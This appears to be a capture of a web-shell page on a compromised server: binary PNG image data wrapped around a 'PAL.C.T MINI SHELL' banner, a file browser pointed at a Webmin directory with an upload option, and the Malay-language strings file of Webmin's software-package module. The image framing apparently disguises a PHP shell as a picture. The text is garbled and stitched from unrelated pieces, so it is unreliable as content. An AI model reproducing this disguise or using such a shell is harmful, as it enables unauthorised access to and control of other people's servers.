php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/software/lang/
upload
files >> //usr/libexec/webmin/software/lang/ms

index_title=Pakej Perisian
index_installed=Pakej Terpasang
index_close=Tutup Semua
index_open=Buka Semua
index_search=Cari Pakej:
index_install=Pasang Pekej Baru
index_installmsg=Pilih lokasi pemasangan pakej baru $1 daripada..
index_local=Dari fail tempatan
index_uploaded=Dari fail muat naik
index_ftp=Dari ftp atau URL http
index_installok=Pasang
index_ident=Kenal pasti Fail
index_identmsg=Masukkan arahan atau nama lokasi fail untuk mencari pangkalan data $1.
index_identok=Carian Untuk:
index_all=Semua Pakej
index_return=indeks modul
index_treturn=pokok pakej
index_tree=Pokok Pakej

search_title=Carian Pakej
search_nomatch=Tiada pakej sepadan $1
search_none=Tiada
search_desc=Keterangan
search_class=Kelas
search_pack=Pakej
search_match=Pakej sepadan $1
search_return=keputusan carian
search_esearch=Anda tidak masukkan apa-apa untuk dicari!
search_delete=Nyah-pasang pakej pilihan
search_selall=Pilih Semua
search_invert=Pilihan songsang

edit_title=Sunting Pakej
edit_details=Perincian Pakej
edit_desc=Huraian
edit_pack=Pakej
edit_class=Kelas
edit_none=Tiada
edit_ver=Versi
edit_vend=Pembekal
edit_arch=Senibina
edit_inst=Dipasang
edit_list=Senarai Fail
edit_uninst=Nyah-pasang
edit_return=perincian pakej
edit_egone=Pakej tidak lagi dipasang

list_title=Fail Pakej
list_files=Fail untuk Pakej $1
list_path=Lokasi
list_owner=Pemilik
list_group=Grup
list_type=Jenis
list_size=Saiz
list_status=Status
list_ok=OK
list_view=(Lihat)
list_eview=Gagal membuka $1 : $2

delete_err=Gagal untuk membuang pakej $1
delete_epack=Pakej $1 tidak wujud
delete_title=Padam Pakej
delete_rusure=Anda pasti untuk memadam pakej $1? Sehingga $2 fail ($3) akan dipadam selamanya.
delete_ok=Padam
delete_nodeps=Abaikan kebergantungan?
delete_noscripts=Langkau skrip nyah-pasang?
delete_efile=Fail sementara tidak sah untuk dipadam

file_title=Maklumat Fail
file_notfound=Tiada maklumat tentang $1
file_path=Lokasi
file_type=Jenis
file_perms=Kebenaran
file_owner=Pemilik
file_group=Grup
file_size=Saiz
file_link=Pautan Kepada
file_pack=Pakej
file_class=Kelas
file_desc=Huraian
file_none=Tiada

install_err=Gagal untuk memasang pakej
install_elocal=Tiada fail tempatan diberi
install_elocal2='$' tidak wujud
install_eupload=Pelayar anda tidak menyokong muat naik fail
install_eurl=URL '$1' sukar difahami
install_edir=Bukanlah direktori $1 yang sah
install_ezip=Bukanlah fail $1 termampat atau gzip yang sah
install_efile=Bukanlah fail $1 yang sah
install_title=Pasang Pakej
install_header=Pasang pakej
install_packs=Pakej yang akan dipasang
install_ok=Pasang

do_err=Gagal untuk memasang pakej $1
do_title=Pasang Pakej
do_efailed=Pemasangan telah gagal : $1
do_efailedmsg1=Anda boleh cuba untuk memasang semula dengan kembali ke laman sebelumnya dan buat pilihan pemasangan yang lain.
do_efailedmsg2=Ataupun, <a href='$1'>klik sini</a> untuk memadam fail pakej sementara bagi menjimatkan ruang disk.
do_success=Pakej $1 telah berjaya dipasang
do_details=Huraian Pakej
do_desc=Huraian
do_class=Kelas
do_pack=Pakej
do_ver=Versi
do_vend=Penjual
do_arch=Senibina
do_inst=Telah pasang
do_none=Tiada
do_files=Fail Pakej

pkgadd_root=Direktori root
pkgadd_eroot=Direktori root '$1' tidak wujud
pkgadd_unknown=Tidak diketahui
pkgadd_manager=Pengurus Pakej SystemV

rpm_upgrade=Naiktaraf pakej?
rpm_replacepkgs=Tindan pakej?
rpm_nodeps=Abaikan kebergantungan?
rpm_oldpackage=Ganti versi baru dengan yang lama?
rpm_noscripts=Laksanakan skrip pemasangan?
rpm_excludedocs=Pasang dokumentasi?
rpm_replacefiles=Tindan fail?
rpm_notriggers=Larikan skrip yang dicetuskan?
rpm_ignoresize=Periksa saiz fail sistem?
rpm_root=Direktori root
rpm_eroot=Direktori root '$1' tidak wujud
rpm_search=Cari rpmfind.net untuk:
rpm_none=Tiada pakej yang sepadan dengan carian anda.
rpm_find=Cari rpmfind.net ..

bsd_unknown=Tidak tahu
bsd_scripts=Laksanakan skrip pra dan pasca pemasangan?
bsd_force=Paksa pemasangan jika pra-syarat hilang?
bsd_manager=Pengurus Pakej $1

slack_unclass=Lain
slack_unknown=Tidak tahu
slack_missing=Hilang
slack_root=Direktori root
slack_eroot=Direktori root hilang atau tidak sah
slack_manager=Pengurus Pakej Slackware

debian_unknown=Tidak tahu
debian_depends=Abaikan masalah kebergantungan?
debian_conflicts=Abaikan konflik pakej?
debian_overwrite=Tindan fail daripada pakej lain?
debian_downgrade=Ganti pakej baharu dengan yang lama?
debian_manager=DPKG Debian

log_install_package=Pasang pakej $1
log_install_apt_l=Memasang pakej $1 dari APT
log_install_apt=Memasang $2 pakej dari APT
log_check_apt_l=Menaik taraf pakej $1 dari APT
log_check_apt=Menaik taraf $2 pakej dari APT
log_delete=Nyah-pasang pakej $1
log_deletes_l=Nyah-pasang pakej $1
log_deletes=Nyah-pasang $1 pakej

rhn_input=Pakej daripada Rangkaian Redhat (RHN)
rhn_find=Cari RHN ..
rhn_install=Pemasangan pakej dengan arahan $1 ..
rhn_ok=.. pemasangan selesai.
rhn_failed=.. pemasangan gagal!
rhn_title=Pilih pakej RHN
rhn_pack=Pakej
rhn_version=Versi
rhn_form=Pilihan Rangkaian Redhat (RHN)
rhn_auto=Periksa kemaskini secara automatik
rhn_interval=Periksa selang
rhn_secs=minit
rhn_apply=Simpan dan Terap
rhn_now=Simpan dan Periksa Sekarang
rhn_err=Gagal untuk menyimpan pilihan RHN
rhn_einterval=Selang hilang atau tidak sah
rhn_einterval2=Periksa selang mestilah sekurangnya 120 saat
rhn_check=Periksa Kemaskini
rhn_checkdesc=Periksa pakej kemaskini dari RHN dengan arahan $1 ..
rhn_nocheck=.. tiada pakej dikemaskini
rhn_proxy=URL pelayan proksi untuk muat turun
rhn_none=Nyah-aktif
rhn_eproxy=Pelayan proksi hilang atau tidak sah
rhn_skip=Langkau pemadanan pakej
rhn_nonefound=Tiada pakej untuk dikemaskini.

apt_input=Pakej dari APT
apt_install=Pemasangan pakej dengan arahan $1 ..
apt_ok=.. pemasangan selesai.
apt_failed=.. pemasangan gagal!
apt_form=Naik taraf Semua Pakej
apt_header=Pilihan kemaskini pakej APT
apt_update=Menyegerakkan semula senarai pakej (<tt>kemaskini</tt>)
apt_mode=Mod kemaskini
apt_mode1=Kemaskini biasa
apt_mode0=Jangan naik taraf
apt_sim=Hanya paparkan pakej yang akan dinaiktaraf
apt_apply=Naik taraf Sekarang
apt_upgrade=Naik taraf Semua Pakej
apt_updatedesc=Menyegerakkan semula senarai pakej dengan arahan $1 ..
apt_updatefailed=.. gagal menyegerak semula!
apt_updateok=.. menyegerak semula selesai.
apt_upgradedesc=Naik taraf semua pakej dengan arahan $1 ..
apt_upgradedescsim=Melakukan simulasi naik taraf semua pakej dengan arahan $1 ..
apt_upgradefailed=.. naik taraf gagal!
apt_upgradeok=.. naik taraf selesai.
apt_search=Cari pakej yang sepadan :
apt_find=Cari APT ..

yum_input=Pakej dari Yum
yum_install=Pemasangan pakej dengan arahan $1 ..
yum_ok=.. pemasangan selesai.
yum_failed=.. pemasangan gagal!
yum_find=Layari yum ..
yum_package=Pakej
yum_version=Versi
yum_arch=Senibina
yum_source=Sumber
yum_form=Naiktaraf Semua Pakej
yum_apply=Naiktaraf Semua Pakej Pemasangan dari Yum
yum_upgrade=Naiktaraf Semua Pakej
yum_upgradedesc=Naiktaraf semua pakej dengan arasahn $1 ..
yum_upgradefailed=.. naiktaraf gagal!
yum_upgradeok=.. naiktaraf selesai.

rpm_missing=Hilang
rpm_checkfail=Gagal memeriksa $1
rpm_md5=MD5
rpm_fsize=saiz fail
rpm_sym=symlink
rpm_mtime=masa ubah suai
rpm_dev=alatan
rpm_user=pemilikan penggguna
rpm_perm=kebenaran
rpm_group=pemilik grup
rpm_erpm=RPM $1 tidak ditemui : $2

soft_reg=Fail Biasa
soft_dir=Direktori
soft_spec=Fail Istimewa
soft_sym=Pautan Simbolik
soft_hard=Pautan Pejal
soft_edit=Fail Boleh Sunting
soft_efunc=Gagal untuk memuatkan fungsi bagi sistem pakej $1.
soft_euncompress=Fail dimampatkan, tetapi arahan <tt>uncompress</tt> tidak dijumpai pada sistem anda.
soft_euncmsg=Gagal untuk menyahmampatkan fail : $1
soft_egzip=Fail telah di'gzip'kan, tetapi arahan gzip tidak dijumpai pada sistem anda.
soft_egzmsg=Gagal untuk meng'gunzip'kan fail : $1

aix_unknown=Tidak diketahui
aix_device=Peranti INPUT / direktori untuk perisian
aix_software=PERISIAN untuk dipasang
aix_preview=PRATONTON sahaja? (operasi pemasangan tidak terlibat)
aix_commit=MELAKUKAN kemas kini perisian?
aix_save=SIMPAN fail gantian?
aix_auto=Pasang tuntutan perisian secara AUTOMATIK?
aix_extend=LANJUTKAN sistem fail jika ruang diperlukan?
aix_overwrite=TINDIH versi yang sama atau baharu?
aix_verify=Sahkan pemasangan dan periksa saiz fail?
aix_include=Termasuk tetapan fail BAHASA yang berkaitan?
aix_detail=Keluaran TERPERINCI?
aix_process=Proses pelbagai volum?
aix_accept=Terima lesen perjanjian baharu?
aix_license=Pratonton perjanjian LESEN baharu?
aix_clean=Bersihkan pemasangan yang gagal?
aix_manager=Pengurus Pakej AIX

emerge_input=Daripada repositori Portage
emerge_find=Cari ..
emerge_install=Pemasangan pakej dengan arahan $1 ..
emerge_failed=.. gagal memasang!
emerge_ok=.. pemasangan selesai.
emerge_search=Cari pakej:
emerge_pack=Pakej
emerge_class=Kelas
emerge_version=Versi
emerge_desc=Huraian
emerge_none=Tiada pakej yang sepadan dengan carian anda.
emerge_noreplace=Ganti pakej sedia ada?
emerge_onlydeps=Hanya pasang kebergantungan?

cygwin_fmissing=Fail telah hilang
cygwin_lmissing=Fail di mana titik pautan hilang
cygwin_estat=Gagal untuk stat fail: $1
cygwin_elread=Gagal membaca symlink: $1
cygwin_elstat=Gagal untuk stat symlink: $1
cygwin_pkgexists=Pakej $1 sudah ada.
cygwin_warnuse=Amaran: Ini bukanlah antara muka rasmi untuk menguruskan perisian Cygwin. Guna atas risiko sendiri.

deletes_err=Gagal untuk memadam pakej
deletes_enone=Tiada pakej dipilih
deletes_title=Padam Pakej
deletes_desc=Nyah-pasang pakej $1 ..
deletes_failed1=Gagal untuk nyah-pasang $1 : $2
deletes_success1=Nyah-pasang $1 berjaya
deletes_failed2=Nyah-pasang telah gagal : $1
deletes_success2=.. nyah-pasang selesai.
deletes_rusure=Anda pasti ingin memadam pakej $1?
deletes_ok=Padam semuanya
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`